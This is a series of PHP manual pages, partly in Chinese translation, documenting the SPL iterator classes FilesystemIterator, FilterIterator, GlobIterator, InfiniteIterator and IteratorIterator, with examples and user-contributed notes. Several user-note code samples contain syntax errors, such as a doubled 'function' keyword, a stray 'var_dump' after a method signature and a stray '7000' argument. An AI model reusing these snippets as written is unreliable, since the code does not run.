The integer value of the set flags.

参见

  • FilesystemIterator::__construct() - Constructs a new filesystem iterator
  • FilesystemIterator::setFlags() - Sets handling flags

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the key for the current file

  • ? FilesystemIterator::getFlags
  • FilesystemIterator::next ?
  • PHP Manual
  • FilesystemIterator
  • Retrieve the key for the current file

FilesystemIterator::key

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

FilesystemIterator::key — Retrieve the key for the current file

说明

public FilesystemIterator::key(): string

参数

此函数没有参数。

返回值

Returns the pathname or filename depending on the set flags. See the FilesystemIterator constants.

示例

Example #1 FilesystemIterator::key() example

This example will list the contents of the directory containing the script.

<?php
$iterator = new FilesystemIterator(dirname(__FILE__), FilesystemIterator::KEY_AS_FILENAME);
foreach ($iterator as $fileinfo) {
echo $iterator->key() . "\n";
}
?>

上述示例在 PHP 8.2 中的输出类似于于：

.
..
apple.jpg
banana.jpg
example.php

参见

  • FilesystemIterator constants
  • DirectoryIterator::key() - Return the key for the current DirectoryIterator item
  • DirectoryIterator::getFilename() - Return file name of current DirectoryIterator item
  • DirectoryIterator::getPathname()

User Contributed Notes

There are no user contributed notes for this page.


Move to the next file

  • ? FilesystemIterator::key
  • FilesystemIterator::rewind ?
  • PHP Manual
  • FilesystemIterator
  • Move to the next file

FilesystemIterator::next

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

FilesystemIterator::next — Move to the next file

说明

public FilesystemIterator::next(): void

Move to the next file.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 FilesystemIterator::next() example

List the contents of a directory using a while loop.

<?php
$iterator = new FilesystemIterator(dirname(__FILE__));
while($iterator->valid()) {
echo $iterator->getFilename() . "\n";
$iterator->next();
}
?>

以上示例的输出类似于：

apple.jpg
banana.jpg
example.php

参见

  • DirectoryIterator::next() - Move forward to next DirectoryIterator item

User Contributed Notes

There are no user contributed notes for this page.


Rewinds back to the beginning

  • ? FilesystemIterator::next
  • FilesystemIterator::setFlags ?
  • PHP Manual
  • FilesystemIterator
  • Rewinds back to the beginning

FilesystemIterator::rewind

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

FilesystemIterator::rewind — Rewinds back to the beginning

说明

public FilesystemIterator::rewind(): void

Rewinds the directory back to the start.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 FilesystemIterator::rewind() example

<?php
$iterator = new FilesystemIterator(dirname(__FILE__), FilesystemIterator::KEY_AS_FILENAME);

echo $iterator->key() . "\n";

$iterator->next();
echo $iterator->key() . "\n";

$iterator->rewind();
echo $iterator->key() . "\n";
?>

以上示例的输出类似于：

apple.jpg
banana.jpg
apple.jpg

参见

  • DirectoryIterator::rewind() - Rewind the DirectoryIterator back to the start

User Contributed Notes

There are no user contributed notes for this page.


Sets handling flags

  • ? FilesystemIterator::rewind
  • FilterIterator ?
  • PHP Manual
  • FilesystemIterator
  • Sets handling flags

FilesystemIterator::setFlags

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

FilesystemIterator::setFlags — Sets handling flags

说明

public FilesystemIterator::setFlags(int $flags): void

Sets handling flags.

参数

flags

The handling flags to set. See the FilesystemIterator constants.

返回值

没有返回值。

示例

Example #1 FilesystemIterator::key() example

This example demonstrates the difference between the FilesystemIterator::KEY_AS_PATHNAME and FilesystemIterator::KEY_AS_FILENAME flags.

<?php
$iterator = new FilesystemIterator(dirname(__FILE__), FilesystemIterator::KEY_AS_PATHNAME);
echo "Key as Pathname:\n";
foreach ($iterator as $key => $fileinfo) {
echo $key . "\n";
}

$iterator->setFlags(FilesystemIterator::KEY_AS_FILENAME);
echo "\nKey as Filename:\n";
foreach ($iterator as $key => $fileinfo) {
echo $key . "\n";
}
?>

上述示例在 PHP 8.2 中的输出类似于于：

Key as Pathname:
/www/examples/.
/www/examples/..
/www/examples/apple.jpg
/www/examples/banana.jpg
/www/examples/example.php

Key as Filename:
.
..
apple.jpg
banana.jpg
example.php

参见

  • FilesystemIterator::__construct() - Constructs a new filesystem iterator
  • FilesystemIterator::getFlags() - Get the handling flags

User Contributed Notes

There are no user contributed notes for this page.


FilterIterator 类

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

这个抽象类的遍历并过滤出不想要的值。这个类应该被实现了迭代过滤器的类继承 FilterIterator::accept() 方法必须被子类实现。

类摘要

abstract class FilterIterator extends IteratorIterator {
/* 方法 */
public __construct(Iterator $iterator)
public accept(): bool
public current(): mixed
public key(): mixed
public next(): void
public rewind(): void
public valid(): bool
/* 继承的方法 */
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

Table of Contents

  • FilterIterator::accept — Check whether the current element of the iterator is acceptable
  • FilterIterator::__construct — Construct a filterIterator
  • FilterIterator::current — Get the current element value
  • FilterIterator::key — Get the current key
  • FilterIterator::next — Move the iterator forward
  • FilterIterator::rewind — Rewind the iterator
  • FilterIterator::valid — Check whether the current element is valid

User Contributed Notes

Anonymous 27-Dec-2021 11:15
Filter object collection by method:
<?php
/**
  * @method object current()
  */
class CollectionFilterIterator extends FilterIterator
{
     private $methodName;
     private $methodArguments;

     public function function __construct(Iterator $collection, string $methodName, array $methodArguments = [])
     {
             parent::__construct($collection);
             $this->methodName = $methodName;
             $this->methodArguments = array_values($methodArguments);
     }

     public function accept(): bool
     {
             return (bool) $this->current()->{$this->methodName}(...$this->methodArguments);
             // or call_user_func_array([$this->current(), $this->methodName], $this->methodArguments);
     }
}
?>
Anonymous 27-May-2014 08:01
A little test about the function call order:

<?php

class TestIterator extends IteratorIterator
{
    public function key()
    {
        echo  __FUNCTION__, PHP_EOL;
        return parent::key();
    }

    public function next()
    {
        echo  __FUNCTION__, PHP_EOL;
        return parent::next();
    }

    public function rewind()
    {
        echo  __FUNCTION__, PHP_EOL;
        return parent::rewind();
    }

    public function valid()
    {
        echo  __FUNCTION__, PHP_EOL;
        return parent::valid();
    }
}

class TestFilterIterator extends FilterIterator
{
    public function accept()
    {
        echo  __FUNCTION__, PHP_EOL;
        return true;
    }
}

$iterator = new ArrayIterator(array('a', 'b', 'c'));

foreach (new TestFilterIterator(new TestIterator($iterator)) as $k => $v) {
    echo PHP_EOL;
}

?>

This will output the following:

rewind
valid
key
accept

next
valid
key
accept

next
valid
key
accept

next
valid
Venelin Vulkov 05-Nov-2008 12:36
The code below is a simple example of usage . Note that the method which does the actual job is accept.

<?php
class UserFilter extends FilterIterator
{
    private $userFilter;

    public function __construct(Iterator $iterator , $filter )
    {
        parent::__construct($iterator);
        $this->userFilter = $filter;
    }

    public function accept()
    {
        $user = $this->getInnerIterator()->current();
        if( strcasecmp($user['name'],$this->userFilter) == 0) {
            return false;
        }
        return true;
    }
}

$array = array(
array('name' => 'Jonathan','id' => '5'),
array('name' => 'Abdul' ,'id' => '22')
);

$object = new ArrayObject($array);

// Note it is case insensitive check in our example due the usage of strcasecmp function
$iterator = new UserFilter($object->getIterator(),'abdul');

foreach ($iterator as $result) {
    echo $result['name'];
}

/* Outputs Jonathan */

?>
Regards.


Check whether the current element of the iterator is acceptable

  • ? FilterIterator
  • FilterIterator::__construct ?
  • PHP Manual
  • FilterIterator
  • Check whether the current element of the iterator is acceptable

FilterIterator::accept

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

FilterIterator::accept — Check whether the current element of the iterator is acceptable

说明

public FilterIterator::accept(): bool

Returns whether the current element of the iterator is acceptable through this filter.

参数

此函数没有参数。

返回值

true if the current element is acceptable, otherwise false.

示例

Example #1 FilterIterator::accept() example

<?php
// This iterator filters all values with less than 10 characters
class LengthFilterIterator extends FilterIterator {

public function accept() {
// Only accept strings with a length of 10 and greater
return strlen(parent::current()) >= 10;
}

}

$arrayIterator = new ArrayIterator(array('test1', 'more than 10 characters'));
$lengthFilter = new LengthFilterIterator($arrayIterator);

foreach ($lengthFilter as $value) {
echo $value . "\n";
}
?>

以上示例会输出：

more than 10 characters

User Contributed Notes

There are no user contributed notes for this page.


Construct a filterIterator

  • ? FilterIterator::accept
  • FilterIterator::current ?
  • PHP Manual
  • FilterIterator
  • Construct a filterIterator

FilterIterator::__construct

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

FilterIterator::__construct — Construct a filterIterator

说明

public FilterIterator::__construct(Iterator $iterator)

Constructs a new FilterIterator, which consists of a passed in iterator with filters applied to it.

Warning

本函数还未编写文档，仅有参数列表。

参数

iterator

The iterator that is being filtered.

参见

  • LimitIterator::__construct() - Construct a LimitIterator

User Contributed Notes

michael dot kaefer1 at gmx dot at 30-Dec-2018 04:29
Usage example:

<?php

class AdultFilter extends \FilterIterator
{
    public function accept()
    {
        $person = $this->current();
        if (18 <= $person[1]) {
            return true;
        }
        return false;
    }
}

$persons = new \ArrayIterator([
    ['John', 27],
    ['Jack', 15],
    ['Jeff', 54],
]);

$adults = new AdultFilter($persons);

foreach ($adults as $adult) {
    var_dump($adult);
}


Get the current element value

  • ? FilterIterator::__construct
  • FilterIterator::key ?
  • PHP Manual
  • FilterIterator
  • Get the current element value

FilterIterator::current

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

FilterIterator::current — Get the current element value

说明

public FilterIterator::current(): mixed
Warning

本函数还未编写文档，仅有参数列表。

Get the current element value.

参数

此函数没有参数。

返回值

The current element value.

参见

  • FilterIterator::key() - Get the current key
  • FilterIterator::next() - Move the iterator forward

User Contributed Notes

codeiter+php-developer at crimeflare dot eu dot org 09-Apr-2022 01:34
<?php FilterIterator::current ?> is of type <?php SplFileInfo ?>

See : https://www.php.net/manual/en/class.splfileinfo.php


Get the current key

  • ? FilterIterator::current
  • FilterIterator::next ?
  • PHP Manual
  • FilterIterator
  • Get the current key

FilterIterator::key

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

FilterIterator::key — Get the current key

说明

public FilterIterator::key(): mixed
Warning

本函数还未编写文档，仅有参数列表。

Get the current key.

参数

此函数没有参数。

返回值

The current key.

参见

  • FilterIterator::next() - Move the iterator forward
  • FilterIterator::current() - Get the current element value

User Contributed Notes

There are no user contributed notes for this page.


Move the iterator forward

  • ? FilterIterator::key
  • FilterIterator::rewind ?
  • PHP Manual
  • FilterIterator
  • Move the iterator forward

FilterIterator::next

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

FilterIterator::next — Move the iterator forward

说明

public FilterIterator::next(): void
Warning

本函数还未编写文档，仅有参数列表。

Move the iterator forward.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • FilterIterator::current() - Get the current element value
  • FilterIterator::key() - Get the current key

User Contributed Notes

There are no user contributed notes for this page.


Rewind the iterator

  • ? FilterIterator::next
  • FilterIterator::valid ?
  • PHP Manual
  • FilterIterator
  • Rewind the iterator

FilterIterator::rewind

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

FilterIterator::rewind — Rewind the iterator

说明

public FilterIterator::rewind(): void
Warning

本函数还未编写文档，仅有参数列表。

Rewind the iterator.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • FilterIterator::current() - Get the current element value
  • FilterIterator::key() - Get the current key
  • FilterIterator::next() - Move the iterator forward

User Contributed Notes

There are no user contributed notes for this page.


Check whether the current element is valid

  • ? FilterIterator::rewind
  • GlobIterator ?
  • PHP Manual
  • FilterIterator
  • Check whether the current element is valid

FilterIterator::valid

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

FilterIterator::valid — Check whether the current element is valid

说明

public FilterIterator::valid(): bool
Warning

本函数还未编写文档，仅有参数列表。

Checks whether the current element is valid.

参数

此函数没有参数。

返回值

true if the current element is valid, otherwise false

User Contributed Notes

There are no user contributed notes for this page.


GlobIterator 类

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

简介

遍历一个文件系统行为类似于 glob()。

类摘要

class GlobIterator extends FilesystemIterator implements Countable {
/* 继承的常量 */
public const int FilesystemIterator::CURRENT_MODE_MASK;
public const int FilesystemIterator::CURRENT_AS_PATHNAME;
public const int FilesystemIterator::CURRENT_AS_FILEINFO;
public const int FilesystemIterator::CURRENT_AS_SELF;
public const int FilesystemIterator::KEY_MODE_MASK;
public const int FilesystemIterator::KEY_AS_PATHNAME;
public const int FilesystemIterator::FOLLOW_SYMLINKS;
public const int FilesystemIterator::KEY_AS_FILENAME;
public const int FilesystemIterator::NEW_CURRENT_AND_KEY;
public const int FilesystemIterator::OTHER_MODE_MASK;
public const int FilesystemIterator::SKIP_DOTS;
public const int FilesystemIterator::UNIX_PATHS;
/* 方法 */
public __construct(string $pattern, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO)
public count(): int
/* 继承的方法 */
public FilesystemIterator::current(): string|SplFileInfo|FilesystemIterator
public FilesystemIterator::getFlags(): int
public FilesystemIterator::key(): string
public FilesystemIterator::next(): void
public FilesystemIterator::rewind(): void
public FilesystemIterator::setFlags(int $flags): void
public DirectoryIterator::current(): mixed
public DirectoryIterator::getBasename(string $suffix = ""): string
public DirectoryIterator::getExtension(): string
public DirectoryIterator::getFilename(): string
public DirectoryIterator::isDot(): bool
public DirectoryIterator::key(): mixed
public DirectoryIterator::next(): void
public DirectoryIterator::rewind(): void
public DirectoryIterator::seek(int $offset): void
public DirectoryIterator::__toString(): string
public DirectoryIterator::valid(): bool
public SplFileInfo::getATime(): int|false
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false
public SplFileInfo::getExtension(): string
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): string
public SplFileInfo::getGroup(): int|false
public SplFileInfo::getInode(): int|false
public SplFileInfo::getLinkTarget(): string|false
public SplFileInfo::getMTime(): int|false
public SplFileInfo::getOwner(): int|false
public SplFileInfo::getPath(): string
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): string
public SplFileInfo::getPerms(): int|false
public SplFileInfo::getRealPath(): string|false
public SplFileInfo::getSize(): int|false
public SplFileInfo::getType(): string|false
public SplFileInfo::isDir(): bool
public SplFileInfo::isExecutable(): bool
public SplFileInfo::isFile(): bool
public SplFileInfo::isLink(): bool
public SplFileInfo::isReadable(): bool
public SplFileInfo::isWritable(): bool
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): string
}

Table of Contents

  • GlobIterator::__construct — Construct a directory using glob
  • GlobIterator::count — Get the number of directories and files

User Contributed Notes

info at ensostudio dot ru 09-Feb-2021 08:48
NOTE: "similar fashion to glob()" GlobIterator use  stream wrapper "glob://" = use glob()
info at ensostudio dot ru 28-Jul-2020 12:10
Fix problem with braces in template:
<?php
class GlobStreamWrapper
{
    private $generator;

    protected function createGenerator(array $paths): Generator
    {
        return yield from $paths;
    }

    public function dir_opendir(string $pattern, int $options = 0): bool
    {
        $pattern = substr($pattern, 7); // crop 'glob://' prefix
        $pattern = str_replace(['\\', '/'], DIRECTORY_SEPARATOR, $pattern);
        $paths = (array) glob($pattern, GLOB_BRACE | GLOB_NOSORT);
        $this->generator = $this->createGenerator($paths);
        return $this->generator->valid();
    }

    public function dir_readdir(): string
    {
        $path = $this->generator->current() ?: '';
        $this->generator->next();
        return $path;
    }

    public function dir_rewinddir(): bool
    {
       $this->generator->rewind();
        return $this->generator->valid();
    }

    public function dir_closedir(): bool
    {
        $this->generator = null;
        return true;
    }
}
?>
Replace glob wrapper:
<?php
stream_wrapper_unregister('glob');
stream_wrapper_register('glob', 'GlobStreamWrapper');
?>
Example:
<?php
$iterator = new GlobIterator(__DIR__ . '/{application,system}/src/*.php');
while ($iterator->valid()) {
    echo $iterator->current()->getFilename() . '</br>';
    $iterator->next();
}
?>


Construct a directory using glob

  • ? GlobIterator
  • GlobIterator::count ?
  • PHP Manual
  • GlobIterator
  • Construct a directory using glob

GlobIterator::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

GlobIterator::__construct — Construct a directory using glob

说明

public GlobIterator::__construct(string $pattern, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO)

Constructs a new directory iterator from a glob expression.

参数

pattern

A glob() pattern.

flags

Option flags, the flags may be a bitmask of the FilesystemIterator constants.

错误／异常

Throws an UnexpectedValueException if the directory does not exist.

Throws a ValueError if the directory is an empty string.

更新日志

版本 | 说明
8.0.0 | Now throws a ValueError if directory is an empty string; previously it threw a RuntimeException.

示例

Example #1 GlobIterator example

<?php
$iterator = new GlobIterator('*.dll', FilesystemIterator::KEY_AS_FILENAME);

if (!$iterator->count()) {
echo 'No matches';
} else {
$n = 0;

printf("Matched %d item(s)\r\n", $iterator->count());

foreach ($iterator as $item) {
printf("[%d] %s\r\n", ++$n, $iterator->key());
}
}
?>

以上示例的输出类似于：

Matched 2 item(s)
[1] php5ts.dll
[2] php_gd2.dll

参见

  • DirectoryIterator::__construct() - Constructs a new directory iterator from a path
  • GlobIterator::count() - Get the number of directories and files
  • glob() - 寻找与模式匹配的文件路径

User Contributed Notes

info at ensostudio dot ru 28-Jul-2020 12:30
Fix problem with braces in template:
<?php
class GlobStreamWrapper
{
    private $generator;

    protected function createGenerator(array $paths): Generator
    {
        return yield from $paths;
    }

    public function dir_opendir(string $pattern, int $options = 0): bool
    {
        $pattern = substr($pattern, 7); // crop 'glob://' prefix
        $pattern = str_replace(['\\', '/'], DIRECTORY_SEPARATOR, $pattern);
        $paths = (array) glob($pattern, GLOB_BRACE | GLOB_NOSORT);
        $this->generator = $this->createGenerator($paths);
        return $this->generator->valid();
    }

    public function dir_readdir(): string
    {
        $path = $this->generator->current() ?: '';
        $this->generator->next();
        return $path;
    }

    public function dir_rewinddir(): bool
    {
       $this->generator->rewind();
        return $this->generator->valid();
    }

    public function dir_closedir(): bool
    {
        $this->generator = null;
        return true;
    }
}
?>
Replace glob wrapper:
<?php
stream_wrapper_unregister('glob');
stream_wrapper_register('glob', 'GlobStreamWrapper');
?>
Example:
<?php
$iterator = new GlobIterator(__DIR__ . '/{application,system}/src/*.php');
while ($iterator->valid()) {
    echo $iterator->current()->getFilename() . '</br>';
    $iterator->next();
}
?>
ozana at omdesign dot cz 29-Mar-2014 10:08
GlobIterator doesn't have a way to support GLOB_BRACE!

<?php
$iterator = new GlobIterator(getcwd. '/*.{php,txt}'); // generate an empty array
?>


Get the number of directories and files

  • ? GlobIterator::__construct
  • InfiniteIterator ?
  • PHP Manual
  • GlobIterator
  • Get the number of directories and files

GlobIterator::count

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

GlobIterator::count — Get the number of directories and files

说明

public GlobIterator::count(): int

Gets the number of directories and files found by the glob expression.

参数

此函数没有参数。

返回值

The number of returned directories and files, as an int.

示例

Example #1 GlobIterator::count() example

<?php
$iterator = new GlobIterator('*.xml');

printf("Matched %d item(s)\r\n", $iterator->count());
?>

以上示例的输出类似于：

Matched 8 item(s)

参见

  • GlobIterator::__construct() - Construct a directory using glob
  • count() - 统计数组、Countable 对象中所有元素的数量
  • glob() - 寻找与模式匹配的文件路径

User Contributed Notes

TwystO 05-Jul-2016 10:49
As stated here https://bugs.php.net/bug.php?id=55701 the count() method can lead to errors.

For example this won't works if no files are found in the target directory :

<?php
$iterator = new \GlobIterator($ftpDirectory . '/*.*', FilesystemIterator::KEY_AS_FILENAME);

if($iterator->count()) {
    foreach($iterator as $filePath) {
        // do some stuff ...
    }
}
?>

A workaround to this bug could be :

<?php
foreach(new \GlobIterator($ftpDirectory . '/*.*', FilesystemIterator::KEY_AS_FILENAME) as $filePath) {
    // do some stuff ...
}
?>


The InfiniteIterator class

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

The InfiniteIterator allows one to infinitely iterate over an iterator without having to manually rewind the iterator upon reaching its end.

类摘要

class InfiniteIterator extends IteratorIterator {
/* 方法 */
public __construct(Iterator $iterator)
public next(): void
/* 继承的方法 */
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

Table of Contents

  • InfiniteIterator::__construct — Constructs an InfiniteIterator
  • InfiniteIterator::next — Moves the inner Iterator forward or rewinds it

User Contributed Notes

vascowhite at gmail dot com 04-Jun-2013 01:54
It is important to realise that rewind() must be called on any iterator before using it or you may experience undefined behaviour, see example code and output here http://3v4l.org/rvNpU

See this bug report https://bugs.php.net/bug.php?id=63823&edit=2 for a fuller explanation.
Anonymous 16-Oct-2012 12:47
to loop through object keys and reset to the start, try this:
<?php

$obj = new stdClass();
$obj->Mon = "Monday";
$obj->Tue = "Tuesday";
$obj->Wed = "Wednesday";
$obj->Thu = "Thursday";
$obj->Fri = "Friday";
$obj->Sat = "Saturday";
$obj->Sun = "Sunday";

$infinate = new InfiniteIterator(new ArrayIterator($obj));
foreach ( new LimitIterator($infinate, 0, 14) as $value ) {
    print($value . PHP_EOL);
}

?>

will output:

Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
Sunday
Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
Sunday

Can be useful when doing date operations or recurring events


Constructs an InfiniteIterator

  • ? InfiniteIterator
  • InfiniteIterator::next ?
  • PHP Manual
  • InfiniteIterator
  • Constructs an InfiniteIterator

InfiniteIterator::__construct

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

InfiniteIterator::__construct — Constructs an InfiniteIterator

说明

public InfiniteIterator::__construct(Iterator $iterator)

Constructs an InfiniteIterator from an Iterator.

参数

iterator

The iterator to infinitely iterate over.

示例

Example #1 InfiniteIterator::__construct() example

<?php
$arrayit = new ArrayIterator(array('cat','dog'));
$infinite = new InfiniteIterator($arrayit);
$limit = new LimitIterator($infinite, 0, 7);
foreach($limit as $value)
{
echo "$value\n";
}
?>

以上示例会输出：

cat
dog
cat
dog
cat
dog
cat

参见

  • InfiniteIterator::next() - Moves the inner Iterator forward or rewinds it

User Contributed Notes

There are no user contributed notes for this page.


Moves the inner Iterator forward or rewinds it

  • ? InfiniteIterator::__construct
  • IteratorIterator ?
  • PHP Manual
  • InfiniteIterator
  • Moves the inner Iterator forward or rewinds it

InfiniteIterator::next

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

InfiniteIterator::next — Moves the inner Iterator forward or rewinds it

说明

public InfiniteIterator::next(): void

Moves the inner Iterator forward to its next element if there is one, otherwise rewinds the inner Iterator back to the beginning.

Note:

Even an InfiniteIterator stops if its inner Iterator is empty.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • InfiniteIterator::__construct() - Constructs an InfiniteIterator

User Contributed Notes

There are no user contributed notes for this page.


The IteratorIterator class

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

This iterator wrapper allows the conversion of anything that is Traversable into an Iterator. It is important to understand that most classes that do not implement Iterators have reasons as most likely they do not allow the full Iterator feature set. If so, techniques should be provided to prevent misuse, otherwise expect exceptions or fatal errors.

类摘要

class IteratorIterator implements OuterIterator {
/* 方法 */
public __construct(Traversable $iterator, ?string $class = null)
public current(): mixed
public getInnerIterator(): ?Iterator
public key(): mixed
public next(): void
public rewind(): void
public valid(): bool
}

注释

Note:

This class permits access to methods of the inner iterator via the __call magic method.

Table of Contents

  • IteratorIterator::__construct — Create an iterator from anything that is traversable
  • IteratorIterator::current — Get the current value
  • IteratorIterator::getInnerIterator — Get the inner iterator
  • IteratorIterator::key — Get the key of the current element
  • IteratorIterator::next — Forward to the next element
  • IteratorIterator::rewind — Rewind to the first element
  • IteratorIterator::valid — Checks if the iterator is valid

User Contributed Notes

thomas at gielfeldt dot dk 20-Apr-2017 10:33
IteratorIterator::current() does not invoke the inner iterator's current() method.

The inner iterator's current() method is invoked (and cached) on rewind() and next(). The same goes for key() and valid().

Example:
<?php

$i = new ArrayIterator(range(1,10));
$i = new IteratorIterator($i);
iterator_to_array($i); // Seek to the end
print "Valid: " . $i->valid() . "\n";
$i->append('test');
print "Valid: " . $i->valid() . "\n";
print "Current: " . $i->current() . "\n";

?>

Output:

Valid:
Valid:
Current:

Whereas:
<?php

$i = new ArrayIterator(range(1,10));
iterator_to_array($i); // Seek to the end
print "Valid: " . $i->valid() . "\n";
$i->append('test');
print "Valid: " . $i->valid() . "\n";
print "Current: " . $i->current() . "\n";
?>

Output:

Valid:
Valid: 1
Current: test

The reason being the way current(), key() and valid() are invoked by the IteratorIterator as mentioned above.
max-p at max-p dot me 12-Feb-2016 01:53
Little note for anyone that wants to emulate the behavior of foreach as close as possible in order to work with somewhat picky Traversable objects, without using foreach:

- Before starting the iteration, rewind() is called.
- For every iteration, the following methods are called on the iterator:
    - valid()
    - current()
    - key()
    - next()

Sounds like a silly thing to do put this way, but in my use case I needed to convert a Traversable database result cursor into a procedural-style cursor (hasNext + fetchArray) for backward compatibility, and the driver required every function to be called in the appropriate order.
wallacemaxters at gmail dot lcom 15-Jan-2016 04:46
Another example of the efficiency for IteratorIterator is a small class for enumerate for iterations of an interator implementation.

Example:

<?php

class Enumerator extends IteratorIterator
{
    /**
    * Initial value for enumerator
    * @param int
    */
    protected $start = 0;

    /**
    * @param int
    */
    protected $key = 0;

    /**
    * @param Traversable $iterator
    * @param scalar $start
    */
    public function __construct(Traversable $iterator, $start = 0)
    {
        parent::__construct($iterator);

        $this->start = $start;

        $this->key = $this->start;
    }

    public function key()var_dump
    {
        return $this->key;
    }

    public function next()
    {
        ++$this->key;

        parent::next();
    }

    public function rewind()
    {
        $this->key = $this->start;

        parent::rewind();
    }

}
?>

This produces:

<?php

$enumerator = new Enumerator(
       new ArrayIterator(['php', 'java', 'python']); 7000
);

print_r(iterator_to_array($enumerator));

/*
*    array(3) {
           7000 => 'php',
           7001 => 'java',
           7002 => 'python'
     }
*/

?>
sven at rtbg dot de 15-Apr-2015 08:57
This iterator basically is only a wrapper around another iterator. It does nothing fancy, it simply forwards any calls of rewind(), next(), valid(), current() and key() to the inner iterator. This inner iterator can be fetched with getInnerIterator().

One special case: When passing an IteratorAggregate object, the getIterator() method of that object will be called and THAT iterator will be iterated over, and this will also be returned when calling getInnerIterator().

This class can be extended, so it's an ideal building block for your own classes that only want to modify one or two of the iterator methods, but not all.

Want to trim the strings returned by the current() method?

<?php

class TrimIterator extends IteratorIterator
{
    public function current() {
        return trim(parent::current());
    }
}

$innerIterator = new ArrayIterator(array('normal', ' trimmable '));

$trim = new TrimIterator($innerIterator);

foreach ($trim as $key => $value) {
    echo "Key:\n";
    var_dump($key);
    echo "Value:\n";
    var_dump($value);
    echo "---next---";
}
?>

Output:

Key:
int(0)
Value:
string(6) "normal"
---next---Key:
int(1)
Value:
string(9) "trimmable"
---next---


Create an iterator from anything that is traversable

  • ? IteratorIterator
  • IteratorIterator::current ?
  • PHP Manual
  • IteratorIterator
  • Create an iterator from anything that is traversable

IteratorIterator::__construct

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

IteratorIterator::__construct — Create an iterator from anything that is traversable

说明

public IteratorIterator::__construct(Traversable $iterator, ?string $class = null)

Creates an iterator from anything that is traversable.

参数

iterator

The traversable iterator.

class

The class name to use for the inner iterator. It allows to specify a different iterator class to wrap the provided iterator. By default, it will use the IteratorIterator class itself.

参见

  • Traversable

User Contributed Notes

There are no user contributed notes for this page.


Get the current value

  • ? IteratorIterator::__construct
  • IteratorIterator::getInnerIterator ?
  • PHP Manual
  • IteratorIterator
  • Get the current value

IteratorIterator::current

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

IteratorIterator::current — Get the current value

说明

public IteratorIterator::current(): mixed

Get the value of the current element.

参数

此函数没有参数。

返回值

The value of the current element.

参见

  • IteratorIterator::key() - Get the key of the current element

User Contributed Notes

There are no user contributed notes for this page.


Get the inner iterator

  • ? IteratorIterator::current
  • IteratorIterator::key ?
  • PHP Manual
  • IteratorIterator
  • Get the inner iterator

IteratorIterator::getInnerIterator

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

IteratorIterator::getInnerIterator — Get the inner iterator

说明

public IteratorIterator::getInnerIterator(): ?Iterator

Get the inner iterator.

参数

此函数没有参数。

返回值

The inner iterator as passed to IteratorIterator::__construct(), or null when there is no inner iterator.

参见

  • Iterator
  • OuterIterator

User Contributed Notes

c dot 1 at smithies dot org 04-May-2016 08:06
The returned value from getInnerIterator() really is the inner iterator, not a clone. It should be used with respect: calling next() or rewind() on it, for example, will advance or reset the inner iterator - although the effect won't be noticed until you call next() on the IteratorIterator object - it seems as if it caches its current() and key() values (as of PHP v5.5.9). Even if the inner iterator itself is valid (i.e. valid() returns TRUE) the IteratorIterator won't report itself as valid until you either rewind it or call its next() method - these two methods cause the IteratorIterator to re-sync its current, key and valid states with the inner iterator.

<?php
$ii = new IteratorIterator(new ArrayIterator(range(1,6)));
$i1 = $ii->getInnerIterator(); // gets the real thing
$i2 = $ii->getInnerIterator(); // ditto: $i2 === $i1 and the two are therefore in sync.
echo $i1->current(); // 1
echo $i1->key(); // 0
var_dump($ii->valid()); // FALSE
$i1->next(); // affects $i2, which is identical
echo $i1->key(); // 1
var_dump($ii->valid()); // still FALSE
$ii->rewind(); // rewinds $i1 and synchronizes
echo $ii->key(); // 0, as is $i1->key()
$i1->next(); // advances the inner iterator, which is now out of sync
echo $ii->key(); // still 0
echo $i1->key(); // 1
$ii->next(); // advances the inner iterator and syncs with it
echo $ii->key(); // 2
echo $i1->key(); // 2
?>


Get the key of the current element

  • ? IteratorIterator::getInnerIterator
  • IteratorIterator::next ?
  • PHP Manual
  • IteratorIterator
  • Get the key of the current element

IteratorIterator::key

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

